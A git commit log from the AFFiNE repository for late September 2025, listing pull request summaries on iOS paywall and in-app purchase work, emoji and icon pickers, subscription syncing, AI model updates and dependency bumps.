2025-09-30 10:47:59 +00:00
EYHN
4b3ebd899b feat(ios): update js subscription api (#13678)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Added on-demand subscription refresh and state retrieval in the iOS
app, enabling up-to-date subscription status and billing information.
- Exposed lightweight runtime APIs to check and update subscription
state for improved account visibility.

- Chores
- Integrated shared GraphQL package and project references to support
subscription operations.
- Updated workspace configuration to include the common GraphQL module
for the iOS app.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 03:12:51 +00:00
DarkSky
b59c1f9e57 feat(server): update claude models (#13677)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Copilot now defaults to the updated Claude Sonnet 4.5 model across
experiences for improved responses.

* **Chores**
* Consolidated available Anthropic models, removing older Sonnet 3.x
variants and standardizing Sonnet 4/4.5 options.
* Updated configuration defaults and schema mappings to reference the
new Sonnet 4.5 model.

* **Tests**
* Updated unit and end-to-end tests to reference the new model to ensure
consistent behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 02:49:55 +00:00
Cats Juice
b44fdbce0c feat(component): virtual scroll emoji groups in emoji picker (#13671)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Revamped Emoji Picker: grouped browsing with sticky group headers,
footer navigation, and a new EmojiButton for quicker selection.
  - Recent emojis with persisted history and single-tap add.
- Programmatic group navigation and callbacks for sticky-group changes.

- Style
  - Updated scroll area paddings for emoji and icon pickers.
  - Enhanced group header background for better contrast.

- Refactor
- Simplified emoji picker internals for leaner, more responsive
rendering.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 01:59:39 +00:00
Cats Juice
123d50a484 feat(core): open artifacts tools automatically (#13668)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* The AI Artifact Tool now auto-opens its preview panel as soon as it
loads, giving immediate visibility without extra clicks.
* The preview initializes proactively and remains in sync as data
updates, streamlining the workflow and reducing setup friction.
* Improves first-use experience by ensuring the preview is ready and
visible on connection, enhancing responsiveness and clarity.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-30 01:40:59 +00:00
DarkSky
2d1caff45c feat(server): refresh subscription (#13670)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added an on-demand mutation to refresh the current user's
subscriptions, syncing with RevenueCat when applicable and handling
Stripe-only cases.
* Subscription variant normalization for clearer plan information and
consistent results.

* **Tests**
* Added tests for refresh behavior: empty state, RevenueCat-backed
multi-step sync, and Stripe-only scenarios.

* **Client**
* New client operation to invoke the refresh mutation and retrieve
updated subscription fields.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-29 12:35:18 +00:00
3720
8006812bc0 refactor(editor): new icon picker (#13658)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* In-tree icon picker for Callout blocks (emoji, app icons, images) with
popup UI and editor-wide extension/service.
* Callout toolbar adds background color presets, an icon-picker action,
and a destructive Delete action.

* **Refactor**
* Replaced legacy emoji workflow with icon-based rendering, updated
state, styling, and lifecycle for callouts.

* **Tests**
  * Updated callout E2E to reflect new default icon and picker behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
2025-09-29 11:06:14 +00:00
Lakr
8df7353722 chore(ios): iap paywall update (#13669)
This pull request introduces several improvements and refactors to the
iOS frontend, with a focus on the paywall system, configuration, and
developer experience. The most significant changes include dynamic
pricing updates for subscription packages, the introduction of a
centralized pricing configuration, and enhanced developer documentation
and settings for Claude Code. There are also minor fixes and
improvements to restore purchase flows, App Store syncing, and protocol
usage guidance.

**Paywall System Improvements**

* Subscription package pricing and display is now dynamically updated
based on App Store data, ensuring users see accurate, localized pricing
and descriptions. This includes new logic for calculating monthly prices
and updating package button text. (`ViewModel.swift`,
`ViewModel+Action.swift`, `SKUnit+Pro.swift`, `SKUnit+AI.swift`)
[[1]](diffhunk://#diff-cb192a424400265435cb06d86b204aa17b4e8195d9dd811580f51faeda211ff0R83-R160)
[[2]](diffhunk://#diff-cb192a424400265435cb06d86b204aa17b4e8195d9dd811580f51faeda211ff0L102-R199)
[[3]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL58-R73)
[[4]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL74-R94)
[[5]](diffhunk://#diff-ea535c02550f727587e74521da8fd90dec23cbe3c685f9c4aa4923ce0bbdb363L19-R35)
[[6]](diffhunk://#diff-a5fef660f959bbb52ce3f19bba8bfbd0bb00d66c9f18a20a998101b5df6c8f60L18-R22)
* Introduced a new `PricingConfiguration.swift` file to centralize
product identifiers, default selections, and display strings for
subscription products, improving maintainability and consistency.
(`PricingConfiguration.swift`, `SKUnit+Pro.swift`, `SKUnit+AI.swift`)
[[1]](diffhunk://#diff-de4566ecd5bd29f36737ae5e5904345bd1a5c8f0a73140c3ebba41856bae3e86R1-R54)
[[2]](diffhunk://#diff-ea535c02550f727587e74521da8fd90dec23cbe3c685f9c4aa4923ce0bbdb363L19-R35)
[[3]](diffhunk://#diff-a5fef660f959bbb52ce3f19bba8bfbd0bb00d66c9f18a20a998101b5df6c8f60L18-R22)

**Developer Experience and Documentation**

* Added `AGENTS.md` to provide comprehensive guidance for Claude Code
and developers, including project overview, build commands,
architecture, native bridge APIs, Swift code style, and dependencies.
(`AGENTS.md`)
* Added a local settings file (`settings.local.json`) to configure
permissions for Claude Code, allowing specific Bash commands for iOS
builds. (`settings.local.json`)
* Updated Swift architecture guidelines to discourage protocol-oriented
design unless necessary, favoring dependency injection and composition.
(`AGENTS.md`)

**User Experience Improvements**

* The purchase footer now includes an underline for "Restore Purchase"
and a clear message about subscription auto-renewal and cancellation
flexibility. (`PurchaseFooterView.swift`)
* Improved restore purchase and App Store sync logic to better handle
user sign-in prompts and error handling. (`ViewModel+Action.swift`,
`Store.swift`)
[[1]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL45-R49)
[[2]](diffhunk://#diff-df2cb61867b4ff10dee98d534cf3c94fe8d48ebaef3f219450a9fba26725fdcbL58-R73)
[[3]](diffhunk://#diff-9f18fbbf15591c56380ce46358089c663ce4440f596db8577de76dc6cd306b54R26-R28)

**Minor Fixes and Refactoring**

* Made `docId` in `DeleteSessionInput` optional to match GraphQL schema
expectations. (`DeleteSessionInput.graphql.swift`)
[[1]](diffhunk://#diff-347e5828e46f435d7d7090a3e3eb7445af8c616f663e8711cd832f385f870a9bL14-R14)
[[2]](diffhunk://#diff-347e5828e46f435d7d7090a3e3eb7445af8c616f663e8711cd832f385f870a9bL25-R25)
* Minor formatting and dependency list updates in `Package.swift`.
(`Package.swift`)
* Fixed concurrency usage in event streaming for chat manager.
(`ChatManager+Stream.swift`)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* New Features
* Paywall options now dynamically reflect product data with clearer
labels and monthly price calculations.
* Added an auto‑renewal note (“cancel anytime”) and underlined “Restore
Purchase” for better clarity.

* Refactor
* Improved purchase/restore flow reliability and UI updates for a
smoother experience.

* Documentation
* Added a comprehensive development guide and updated architecture/style
guidance for iOS.

* Chores
* Introduced local build permissions configuration for iOS development.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-29 09:18:47 +00:00
Cats Juice
12daefdf54 fix(core): prevent emoji being clipped and adjust icon-picker default color (#13664)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Style
- Updated icon picker to use the primary icon color, improving visual
consistency (including SVG icons).
- Improved emoji rendering in the document icon picker by applying an
emoji-specific font for elements marked as emoji, matching existing size
and line-height.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-29 02:25:31 +00:00
Wu Yue
9f94d5c216 feat(core): support ai chat delete action (#13655)
<img width="411" height="205" alt="截屏2025-09-26 10 58 39"
src="https://github.com/user-attachments/assets/c3bce144-7847-4794-b766-5a3777cbc00d"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Delete icon added to AI session history with tooltip and confirmation
prompt; deleting current session opens a new session.
- Session deletion wired end-to-end (toolbar → provider → backend) and
shows notifications.

- Improvements
- Cleanup now supports deleting sessions with or without a document ID
(document-specific or workspace-wide).
- UI tweaks for cleaner session item layout and safer click handling
(delete won’t trigger item click).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-27 11:58:58 +00:00
Lakr
8d6f7047c2 fix(ios): build project (#13656)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Access Tokens screen now shows revealed access tokens, including the
token value where available.

- Chores
  - Updated iOS Paywall package to use Swift tools version 5.9.
  - Removed an unused internal iOS package to streamline the app.
- Aligned access token data model to the latest backend schema for
improved consistency.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 10:10:30 +00:00
github-actions[bot]
a92894990d chore(i18n): sync translations (#13651)
New Crowdin translations by [Crowdin GH
Action](https://github.com/crowdin/github-action)

Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-26 09:13:17 +00:00
L-Sun
6af1f6ab8d fix(core): infinitied loop (#13653)
Fix #13649 

#### PR Dependency Tree


* **PR #13653** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Streamlined internal async handling to depend only on specified
inputs, reducing unnecessary updates and improving responsiveness.
  * Preserved existing error handling for async operations.

* **Chores**
* Adjusted lint configuration/comments to align with the updated
dependency strategy, reducing false-positive warnings.

No user-facing UI changes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 08:59:33 +00:00
Rokas
e7f76c1737 chore: update mermaid (#13510)
https://github.com/toeverything/AFFiNE/issues/13509

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
  * Upgraded Mermaid dependency to v11.1.0 in the frontend core package.

* **Impact**
* Improved diagram rendering and compatibility with newer Mermaid
syntax.
* Potential performance and security improvements from upstream updates.
  * No UI changes expected; existing diagrams should continue to work.
  * Please verify critical diagram views for any rendering differences.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-26 07:40:42 +00:00
Xun Sun
5b52349b96 feat: implement textAlign property (#11790)
for paragraph blocks, image blocks, list blocks, and table blocks

Should fix #8617 and #11254.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added text alignment options (left, center, right) for paragraph,
list, image, note, and table blocks.
- Introduced alignment controls in toolbars and slash menus for easier
formatting.
- Enabled keyboard shortcuts for quick text alignment changes (supports
Mac and Windows).
- **Localization**
- Added English, Simplified Chinese, and Traditional Chinese
translations for new alignment commands and shortcuts.
- **Style**
  - Blocks now visually reflect selected text alignment in their layout.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
2025-09-26 07:23:28 +00:00
renovate[bot]
bf87178c26 chore: bump up @googleapis/androidpublisher version to v31 (#13633)
Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs
from Renovate will soon appear from 'Mend'. Learn more
[here](https://redirect.github.com/renovatebot/renovate/discussions/37842).

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
|
[@googleapis/androidpublisher](https://redirect.github.com/googleapis/google-api-nodejs-client)
| [`^28.0.0` ->
`^31.0.0`](https://renovatebot.com/diffs/npm/@googleapis%2fandroidpublisher/28.0.1/31.0.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@googleapis%2fandroidpublisher/31.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@googleapis%2fandroidpublisher/28.0.1/31.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>googleapis/google-api-nodejs-client
(@&#8203;googleapis/androidpublisher)</summary>

###
[`v31.0.0`](https://redirect.github.com/googleapis/google-api-nodejs-client/blob/HEAD/CHANGELOG.md#13100-2024-01-05)

[Compare
Source](https://redirect.github.com/googleapis/google-api-nodejs-client/compare/v30.0.0...v31.0.0)

##### ⚠ BREAKING CHANGES

- **serviceconsumermanagement:** This release has breaking changes.
- **playintegrity:** This release has breaking changes.

##### Features

- **chromepolicy:** update the API
([8429e3c](8429e3c9d6))
- **chromeuxreport:** update the API
([6d52abb](6d52abb902))
- **customsearch:** update the API
([1169e4c](1169e4c607))
- **dialogflow:** update the API
([4b1e073](4b1e0734d9))
- **displayvideo:** update the API
([45b61b5](45b61b5d20))
- **oslogin:** update the API
([cfc90e7](cfc90e7c9c))
- **playintegrity:** update the API
([767af5f](767af5f12e))
- regenerate index files
([4246fd1](4246fd1c64))
- **serviceconsumermanagement:** update the API
([a68206a](a68206a211))

##### Bug Fixes

- **accesscontextmanager:** update the API
([845c716](845c7168e9))
- **admin:** update the API
([4664d6b](4664d6bb4c))
- **backupdr:** update the API
([19b0192](19b019219b))
- **calendar:** update the API
([0ca9bbc](0ca9bbc4e4))
- **cloudbuild:** update the API
([31158a2](31158a226c))
- **cloudidentity:** update the API
([22610b3](22610b3d15))
- **cloudprofiler:** update the API
([2c5cbc4](2c5cbc4299))
- **cloudtrace:** update the API
([2a811d5](2a811d5fe8))
- **iap:** update the API
([ec596c1](ec596c1b87))
- **playdeveloperreporting:** update the API
([7181840](7181840daf))
- **servicenetworking:** update the API
([50c7dbd](50c7dbd323))
- **spanner:** update the API
([0e40d67](0e40d67436))

###
[`v30.0.0`](https://redirect.github.com/googleapis/google-api-nodejs-client/blob/HEAD/CHANGELOG.md#13000-2024-01-03)

##### ⚠ BREAKING CHANGES

- **networksecurity:** This release has breaking changes.
- **metastore:** This release has breaking changes.
- **gmail:** This release has breaking changes.
- **gkehub:** This release has breaking changes.
- **drivelabels:** This release has breaking changes.
- **dialogflow:** This release has breaking changes.
- **datacatalog:** This release has breaking changes.
- **content:** This release has breaking changes.
- **connectors:** This release has breaking changes.
- **cloudbuild:** This release has breaking changes.
- **chat:** This release has breaking changes.
- **batch:** This release has breaking changes.
- **artifactregistry:** This release has breaking changes.
- **aiplatform:** This release has breaking changes.
- **advisorynotifications:** This release has breaking changes.

##### Features

- **accesscontextmanager:** update the API
([26d496e](26d496e416))
- **adexchangebuyer2:** update the API
([31c0066](31c006606f))
- **admin:** update the API
([79ce913](79ce9133d7))
- **advisorynotifications:** update the API
([0f44091](0f440919dd))
- **aiplatform:** update the API
([66739ce](66739ce624))
- **alloydb:** update the API
([590f835](590f835773))
- **analyticsdata:** update the API
([25d0b67](25d0b6763e))
- **analyticshub:** update the API
([8279edf](8279edf154))
- **androidpublisher:** update the API
([c6d69a0](c6d69a049d))
- **artifactregistry:** update the API
([6fda22c](6fda22c487))
- **assuredworkloads:** update the API
([41debeb](41debeba59))
- **backupdr:** update the API
([1018945](1018945770))
- **batch:** update the API
([9ef21e0](9ef21e0459))
- **bigquery:** update the API
([f1deeab](f1deeabbb0))
- **blockchainnodeengine:** update the API
([07ac2e7](07ac2e721d))
- **chat:** update the API
([88428f0](88428f0d91))
- **checks:** update the API
([2d78a72](2d78a72c71))
- **cloudbilling:** update the API
([857a51e](857a51e47b))
- **cloudbuild:** update the API
([ddf4c10](ddf4c10cf4))
- **cloudchannel:** update the API
([aecac6b](aecac6be45))
- **clouddeploy:** update the API
([62d7fd6](62d7fd6070))
- **cloudfunctions:** update the API
([c5aae9a](c5aae9a7cf))
- **cloudprofiler:** update the API
([2933bff](2933bff415))
- **cloudsupport:** update the API
([feb88b5](feb88b5521))
- **composer:** update the API
([53b83d6](53b83d65b1))
- **compute:** update the API
([ffbf00b](ffbf00b1c1))
- **connectors:** update the API
([f433bd6](f433bd6284))
- **container:** update the API
([cac432f](cac432f882))
- **content:** update the API
([c0dd4c0](c0dd4c0bc2))
- **datacatalog:** update the API
([a939d7e](a939d7eaf2))
- **dataflow:** update the API
([9721cda](9721cda955))
- **dataform:** update the API
([d2bfeab](d2bfeabcbe))
- **datafusion:** update the API
([413c94e](413c94e5db))
- **dataplex:** update the API
([8da4b12](8da4b128b1))
- **dataproc:** update the API
([5a60626](5a606262b3))
- **dialogflow:** update the API
([8829da4](8829da4a7e))
- **discoveryengine:** update the API
([567c02d](567c02d288))
- **dlp:** update the API
([7cbdc6a](7cbdc6aaf4))
- **dns:** update the API
([f783244](f7832440a5))
- **documentai:** update the API
([01cc7b5](01cc7b5994))
- **drivelabels:** update the API
([50a1b75](50a1b75751))
- **drive:** update the API
([c07f193](c07f193c33))
- **file:** update the API
([324d0f6](324d0f69b3))
- **firebaseappcheck:** update the API
([c8fb050](c8fb050246))
- **firebaserules:** update the API
([2a44570](2a445705f0))
- **gkehub:** update the API
([044e086](044e0861ed))
- **gkeonprem:** update the API
([6c9398e](6c9398e54e))
- **gmail:** update the API
([c7698bd](c7698bda1d))
- **healthcare:** update the API
([d34ee61](d34ee618f9))
- **metastore:** update the API
([6887f67](6887f67506))
- **migrationcenter:** update the API
([e890439](e890439ac6))
- **monitoring:** update the API
([738848d](738848dcb6))
- **networkmanagement:** update the API
([d8a3556](d8a35563fc))
- **networksecurity:** update the API
([166232f](166232fe14))
- **networkservices:** update the API
([076de17](076de17ce5))
- **notebooks:** update the API
([a08d104](a08d104800))
- **orgpolicy:** update the API
([5c8f8c7](5c8f8c727c))
- **oslogin:** update the API
([f1475c5](f1475c544f))
- **paymentsresellersubscription:** update the API
([d79cf5a](d79cf5a6cf))
- **playdeveloperreporting:** update the API
([6ef5718](6ef5718e6e))
- **policysimulator:** update the API
([58e6545](58e654547c))
- **prod\_tt\_sasportal:** update the API
([99b92fe](99b92fe5d9))
- **pubsub:** update the API
([f17fac3](f17fac34c0))
- **recaptchaenterprise:** update the API
([7952baa](7952baabbe))
- **recommender:** update the API
([76b9501](76b9501327))
- **redis:** update the API
([fd4636b](fd4636b1c9))
- regenerate index files
([33f2d78](33f2d78b2c))
- **retail:** update the API
([0aa095b](0aa095b51a))
- **run:** update the API
([48a19bf](48a19bf416))
- **sasportal:** update the API
([2459cce](2459cce1e4))
- **script:** update the API
([0520e5e](0520e5efd5))
- **securitycenter:** update the API
([74c634a](74c634a34a))
- **serviceconsumermanagement:** update the API
([0552119](05521190fe))
- **servicemanagement:** update the API
([429940b](429940b1b4))
- **servicenetworking:** update the API
([42a1422](42a142249e))
- **serviceusage:** update the API
([c2ad070](c2ad070ce4))
- **storage:** update the API
([c0609c9](c0609c901b))
- **translate:** update the API
([77a0522](77a05229d2))
- **vault:** update the API
([db163fd](db163fd3b3))
- **vision:** update the API
([77a0a91](77a0a9136e))
- **vpcaccess:** update the API
([8db5275](8db52757e6))
- **workloadmanager:** update the API
([4c49597](4c4959752e))
- **workstations:** update the API
([174cd20](174cd20129))

##### Bug Fixes

- **accessapproval:** update the API
([227915d](227915d92f))
- **analyticsadmin:** update the API
([b858170](b858170642))
- **androidmanagement:** update the API
([35f8862](35f886254c))
- **apphub:** update the API
([e5a7c92](e5a7c92a2a))
- **binaryauthorization:** update the API
([7f20317](7f20317264))
- **calendar:** update the API
([e6ba462](e6ba462408))
- **chromepolicy:** update the API
([a5a5351](a5a5351998))
- **classroom:** update the API
([9d2ed12](9d2ed12202))
- **cloudasset:** update the API
([20a91d5](20a91d5cb6))
- **cloudidentity:** update the API
([5155e11](5155e11cd2))
- **cloudkms:** update the API
([90bab2c](90bab2c738))
- **cloudscheduler:** update the API
([2c7b902](2c7b90229a))
- **cloudtasks:** update the API
([a8d66db](a8d66db055))
- **contactcenterinsights:** update the API
([828c5d3](828c5d3e08))
- **datamigration:** update the API
([56a65a8](56a65a8590))
- **deploymentmanager:** update the API
([b48abef](b48abef098))
- **displayvideo:** update the API
([299cf97](299cf97f91))
- **firebaseappdistribution:** update the API
([b102fcc](b102fccab5))
- **gkebackup:** update the API
([30ca612](30ca612728))
- **iam:** update the API
([4e12124](4e121245a3))
- **iap:** update the API
([65c644e](65c644e9de))
- **language:** update the API
([77252e1](77252e1b9c))
- **logging:** update the API
([1b4dc67](1b4dc6732c))
- **mybusinessbusinessinformation:** update the API
([5e4c0fe](5e4c0fe093))
- **places:** update the API
([6bbdf72](6bbdf72e3e))
- **policytroubleshooter:** update the API
([ad18f3b](ad18f3b0f6))
- **privateca:** update the API
([b230959](b23095912e))
- **runtimeconfig:** update the API
([0dfe961](0dfe9610eb))
- **secretmanager:** update the API
([a202268](a202268db9))
- **servicedirectory:** update the API
([ddc06a2](ddc06a219b))
- **sourcerepo:** update the API
([1965102](19651026ae))
- **spanner:** update the API
([ce99980](ce99980e71))
- **sqladmin:** update the API
([de59e8d](de59e8dd22))
- **storagetransfer:** update the API
([d6081de](d6081dea7d))
- **videointelligence:** update the API
([9d377f5](9d377f5e3e))
- **vmmigration:** update the API
([68a1d5f](68a1d5fede))
- **walletobjects:** update the API
([920ddc7](920ddc780c))
- **workflowexecutions:** update the API
([6553987](6553987f65))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
2025-09-26 07:18:12 +00:00
Cats Juice
d272c4342d feat(core): replace emoji-mart with affine icon picker (#13644)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
  - Unified icon picker with consistent rendering across the app.
  - Picker can auto-close after selection.
  - “Remove” now clears the icon selection.

- Refactor
- Icon handling consolidated across editors, navigation, and document
titles for consistent behavior.
  - Picker now opens on the Emoji panel by default.

- Style
  - Adjusted line-height and selectors for icon picker visuals.

- Chores
  - Removed unused emoji-mart dependencies.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 06:41:29 +00:00
DarkSky
c540400496 feat(server): allow drop session (#13650)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Ensures deleted sessions and their messages are consistently cleaned
up, preventing lingering pinned or partially removed items.

* **Refactor**
* Streamlined session cleanup into a single bulk operation for improved
reliability and performance during deletions.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 06:38:13 +00:00
EYHN
54498df247 feat(ios): upgrade button in setting (#13645)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- New Features
- Added a Subscription section in Mobile Settings (for signed-in users)
with plan info and an Upgrade button that opens the native paywall.
  - Supports showing “Pro” and “AI” paywalls.
  - Integrated native paywall provider on iOS.

- Style
- Introduced new styling for the subscription card, content, and button.

- Localization
- Added English strings for subscription title, description, and button.

- Chores
- Minor iOS project cleanup and internal wiring to enable the paywall
module.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-26 06:27:45 +00:00
DarkSky
3f9d9fef63 fix(server): rcat event sync (#13648)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Subscriptions now include an explicit "trial" flag so trialing users
are identified and treated correctly.

- Bug Fixes
  - More robust handling when webhook fields are missing or null.
- Improved family-sharing detection to avoid incorrect async processing.

- Refactor
- Status determination and store resolution simplified to rely on
subscription data rather than event payloads.

- Tests
- Test fixtures updated to include trial and store details for accuracy.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-25 19:00:48 +00:00
Lakr
7a90e1551c fix(ios): complete iap user interface (#13639)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- In-app purchases fully integrated for Pro and AI plans with restore,
live product loading, and StoreKit test configuration.

- Improvements
- Refreshed paywall: intro animation, delayed close button, smoother
horizontal paging, page dots interaction, per-item reveal animations,
and purchase-state UI (disabled/checked when owned).

- Changes
- "Believer" plan and related screens removed; Pro simplified to Monthly
and Annual offerings.

- Chores
- iOS project and build settings updated for newer toolchain and
StoreKit support.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2025-09-25 04:50:12 +00:00
Peng Xiao
3c9d17c983 feat(core): insert artifact as code block (#13641)
#### PR Dependency Tree


* **PR #13641** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Insert HTML content directly into the document as a code block with
preview enabled.
* Default view changed from Code to Preview for faster content
inspection.
* New “Insert” action replaces the previous “Download” action to add
content into the document.
* Added a dedicated “Download HTML” button with an icon to save the HTML
file.
* Toast notifications confirm successful insertions; errors are reported
if insertion fails.
  * Updated button labeling to reflect the new workflow.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-24 08:29:03 +00:00
EYHN
2f118206cc feat(core): mcp server setting (#13630)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* MCP Server integration available in cloud workspaces with a dedicated
settings panel.
* Manage personal access tokens: generate/revoke tokens and view
revealed token.
  * One-click copy of a prefilled server configuration JSON.
  * New query to fetch revealed access tokens.

* **Improvements**
  * Integration list adapts to workspace type (cloud vs. local).
* More reliable token refresh with clearer loading, error and
revalidation states.

* **Localization**
* Added “Copied to clipboard” message and MCP Server name/description
translations.

* **Chores**
  * Updated icon dependency across many packages.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-24 08:02:47 +00:00
Cats Juice
ca9811792d feat(component): emoji and icon picker (#13638)
![CleanShot 2025-09-23 at 17 11
13](https://github.com/user-attachments/assets/0a4a9d09-1149-4042-bc73-e068a428f335)


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Icon Picker added with Emoji and Icon panels, search/filtering, recent
selections, color selection, skin tone options, and smooth group
navigation.

- **Documentation**
  - Storybook example added to preview and test the Icon Picker.

- **Chores**
  - Bumped icon library dependency to a newer minor version.
  - Added emoji data dependency to support the Emoji Picker.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-24 07:14:54 +00:00
Jachin
812c2d86d4 feat(server): add Swagger API docs (#13455)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Interactive API documentation available at /api/docs when running in
development.

* **Chores**
* Added a development dependency to enable generation of the API
documentation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
2025-09-23 10:31:16 +00:00
DarkSky
762b702e46 feat: sync rcat data (#13628)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* RevenueCat support: public webhook endpoint, webhook handler/service,
nightly reconciliation and per-user sync; subscriptions now expose
provider and iapStore; new user-facing error for App Store/Play-managed
subscriptions.
* **Chores**
* Multi-provider subscription schema (Provider, IapStore); Stripe
credentials moved into payment.stripe (top-level apiKey/webhookKey
deprecated); new payment.revenuecat config and defaults added.
* **Tests**
  * Comprehensive RevenueCat integration test suite and snapshots.
* **Documentation**
  * Admin config descriptions updated with deprecation guidance.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-23 08:52:23 +00:00
Lakr
75a6c79b2c fix(ios): crash at swift runtime error (#13635)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Fetch copilot model options per prompt (default, optional, pro) with
generated GraphQL query and schema types.

* **Chores**
* Upgraded iOS deps: Apollo iOS 1.23.0, EventSource 0.1.5, Swift
Collections 1.2.1.
* Switched Intelligents to static linking and updated project
integration.
* Parameterized and standardized GraphQL codegen tooling; setup
automation now syncs versions and safely backs up/restores custom
scalars.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-09-23 05:56:08 +00:00
Wu Yue
b25759c264 feat(core): support gemini model switch in ai (#13631)
<img width="757" height="447" alt="截屏2025-09-22 17 49 34"
src="https://github.com/user-attachments/assets/bab96f45-112e-4d74-bc38-54429d8a54ab"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Subscription-aware AI model picker in chat: browse models with version
